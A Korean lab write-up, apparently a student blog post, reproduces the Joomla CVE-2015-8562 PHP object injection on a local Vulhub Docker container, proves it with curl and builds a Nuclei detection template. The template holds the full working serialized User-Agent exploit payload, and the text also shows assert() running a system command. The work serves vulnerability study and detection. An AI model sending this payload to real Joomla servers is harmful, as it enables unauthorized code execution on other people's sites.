검증 없는 unserialize() 하나로 RCE까지 — CVE-2015-8562 재현
취약한 서버를 직접 구축해서 CVE를 재현하고, PoC로 증명한 뒤, 그걸 잡아내는 탐지 규칙까지 만들어보는 한 바퀴다. 탐지 도구 자체에 대한 설명은 Nuclei 템플릿을 직접 써서 탐지 로직 만들기에 따로 정리했다.
취약점 개요
| 항목 | 내용 |
|---|---|
| 제품 | Joomla! 1.5.x, 2.x, 3.x (3.4.6 미만) |
| 취약점 종류 | PHP Object Injection → RCE |
| 심각도 | High (CVSS 7.5) |
| 영향 | 원격에서 임의 코드 실행 가능 |
| 패치 버전 | Joomla 3.4.6 이상 |
Joomla는 WordPress 다음가는 세계 2위 CMS다. 수백만 개 사이트가 쓰기 때문에 취약점 하나의 파급이 크다.
왜 뚫리는가
직렬화와 역직렬화
# 직렬화 (객체 → 문자열로 변환, 저장/전송용)
serialize($object) → "O:4:User:1:{s:4:name;s:5:admin;}"
# 역직렬화 (문자열 → 다시 객체로 복원)
unserialize("O:4:User:1:{...}") → $object
가구를 분해해서 박스에 포장하는 게 직렬화, 박스를 열어 다시 조립하는 게 역직렬화다.
| 기호 | 의미 | 예시 |
|---|---|---|
O | Object (객체) | O:4:"User":... |
s | String (문자열) | s:5:"admin" |
a | Array (배열) | a:1:{...} |
i | Integer (숫자) | i:9999 |
b | Boolean | b:1 |
문제의 지점
Joomla가 User-Agent 헤더 값을
아무 검증 없이 그대로 unserialize() 실행
↓
공격자가 넣은 악성 PHP 객체도 그대로 조립됨
역직렬화 자체가 문제가 아니라, 검증 없이 역직렬화하는 게 문제다.
여기에 두 가지 PHP 특성이 얹힌다.
__destruct()— 객체가 소멸될 때 자동으로 실행되는 메서드다. 공격자는 여기에 코드를 심어두면 아무것도 안 해도 실행된다. 건물을 철거할 때 자동으로 울리는 경보 같은 것.assert()— 원래는 조건을 검증하는 함수인데, PHP에서는 문자열을 PHP 코드로 실행해버린다.
assert("phpinfo()") # phpinfo() 를 코드로 실행
assert("system('ls /')") # 서버 명령어 실행도 가능
공격 흐름
1. 공격자가 User-Agent에 PHP 직렬화 객체 담아 전송
↓
2. Joomla가 User-Agent를 세션 데이터에 저장
↓
3. 세션을 다시 읽는 과정에서 unserialize() 실행
↓
4. PHP Object Injection 발생
↓
5. __destruct() 자동 실행
↓
6. assert("phpinfo()") 실행
↓
7. 응답에 "PHP Version", "PHP Extension" 출력
↓
8. RCE 가능성 확인
phpinfo() 를 쓰는 이유는 증명 때문이다. 실행되면 응답에 항상 “PHP Version” 같은 문자열이 나오므로, “내가 여기서 실행됐다”고 손을 드는 함수 역할을 한다. 실제 공격이 아니라 PoC용이다.
취약 서버 세우기
sudo apt update
sudo apt install -y docker.io nuclei jq git
sudo service docker start
| 도구 | 역할 |
|---|---|
| Docker | 취약한 서버를 컨테이너로 실행 |
| Nuclei | YAML 템플릿 기반 취약점 스캐너 |
| jq | JSON 결과를 보기 좋게 파싱 |
git clone --depth 1 https://github.com/vulhub/vulhub
cd vulhub/joomla/CVE-2015-8562
--depth 1 은 최신 커밋만 받는 옵션이라 훨씬 가볍고 빠르다.
M3 맥에서 걸린 것
version: '2'
services:
web:
image: vulhub/joomla:3.4.5
platform: linux/amd64 # ← M3 맥 호환을 위해 추가
depends_on:
- mysql
environment:
- JOOMLA_DB_HOST=mysql
- JOOMLA_DB_PORT=3306
- JOOMLA_DB_USER=root
- JOOMLA_DB_PASSWORD=vulhub
- JOOMLA_DB_NAME=joomla
ports:
- "8080:80"
mysql:
image: mysql:5.5
platform: linux/amd64 # ← M3 맥 호환을 위해 추가
environment:
- MYSQL_ROOT_PASSWORD=vulhub
M3 맥북은 ARM64인데 Vulhub 이미지는 amd64 전용이다. platform: linux/amd64 를 넣어야 Rosetta 에뮬레이션으로 돌아간다.
docker compose up -d
docker compose ps # Up 상태 확인
curl -I http://localhost:8080 # HTTP/1.1 200 OK 확인
curl로 직접 증명
세션 기반 취약점이라 두 단계로 나뉜다.
# 1단계: 일반 요청으로 세션 쿠키 받기
curl -s http://localhost:8080 -c /tmp/joomla_cookie.txt
# 2단계: 쿠키 재사용 + 페이로드 전송
curl -s http://localhost:8080 \
-b /tmp/joomla_cookie.txt \
-H 'User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{...phpinfo()...}'
응답에 PHP Version 5.6.12 가 나왔다. 코드 실행 성공이다.
쿠키가 없으면 2번 요청이 다른 세션이 되어 페이로드가 실행되지 않는다. 이게 이 취약점이 단일 요청으로는 안 잡히는 이유다.
탐지 템플릿
id: CVE-2015-8562-custom
info:
name: Joomla HTTP Header Unauthenticated RCE - Custom Multi-Request
author: student01
severity: high
description: |
Joomla! 1.5.x, 2.x, 3.x before 3.4.6
PHP object injection via User-Agent header
tags: cve,cve2015,joomla,rce
flow: http(1) && http(2)
http:
# 1번 요청: Joomla 서버 확인 + 쿠키 받기
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Connection: close
matchers:
- type: dsl
dsl:
- 'contains(body, "Joomla")'
- 'status_code == 200'
condition: and
internal: true
# 2번 요청: 쿠키 재사용 + 페이로드 전송
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"%00%00%00a";O:17:"JSimplepieFactory":0:{}s:21:"%00%00%00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"%00%00%00connection";i:1;}
Connection: close
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Version"
- "PHP Extension"
condition: and
- type: status
status:
- 200
1번 요청에서 Mozilla/5.0 을 쓰는 이유는 일반 브라우저인 척해서 봇 차단에 걸리지 않고 쿠키를 받기 위해서다.
nuclei -validate -t ~/CVE-2015-8562-custom.yaml
# → All templates validated successfully
nuclei -u http://192.168.10.101:8080 -t ~/CVE-2015-8562-custom.yaml
# → 1 matches found
막혔던 것들
| 문제 | 원인 | 해결 |
|---|---|---|
exec format error | ARM64(M3 맥) vs amd64 이미지 불일치 | docker-compose.yml에 platform: linux/amd64 추가 |
permission denied | Docker 실행 시 sudo 없음 | sudo docker compose up -d |
0 matches found | YAML에서 null byte 처리 문제 | \0 → %00 (URL 인코딩)으로 변경 |
no configuration file | docker-compose.yml 있는 폴더가 아닌 데서 실행 | cd vulhub/joomla/CVE-2015-8562 후 실행 |
| 칼리에서 맥 서버 스캔 | 칼리 Docker가 ARM64라 amd64 이미지 불가 | 맥 Docker Desktop에서 서버 실행, 칼리에서는 스캔만 |
0 matches found 가 제일 오래 걸렸다. 페이로드 안의 null byte(\0)가 YAML을 거치면서 그대로 전달되지 않는 게 원인이었고, %00 으로 URL 인코딩해서 넣으니 통과했다. 템플릿이 틀린 게 아니라 전달 과정에서 값이 변형되고 있었다 — 이런 건 서버가 아니라 중간 계층을 의심해야 찾을 수 있다.
전체 흐름
1. 환경 세팅
Docker, Nuclei, jq 설치
↓
2. 취약 서버 구축
Vulhub CVE-2015-8562 Docker로 실행 (ARM64 호환 처리)
↓
3. 취약점 직접 확인 (PoC)
curl로 페이로드 전송 → phpinfo() 출력 확인
↓
4. YAML 템플릿 제작
다중 요청 방식 (flow: http(1) && http(2))
↓
5. 탐지 성공
nuclei 스캔 → 1 matches found
남는 것
- 버전 업데이트가 안 된 서버가 곧 취약한 서버다. Joomla 3.4.5는 뚫리고 3.4.6은 안 뚫린다. 코드는 그대로인데 번호 하나 차이다.
- User-Agent 같은 헤더도 입력값이다. 사용자가 폼에 입력하는 것만 검증 대상이라고 생각하면 이런 게 새어 나간다.
- 취약점을 재현할 줄 알아야 탐지도 만들 수 있다. PoC 없이 템플릿부터 쓰면 뭘 기준으로 매칭할지 정할 수 없다.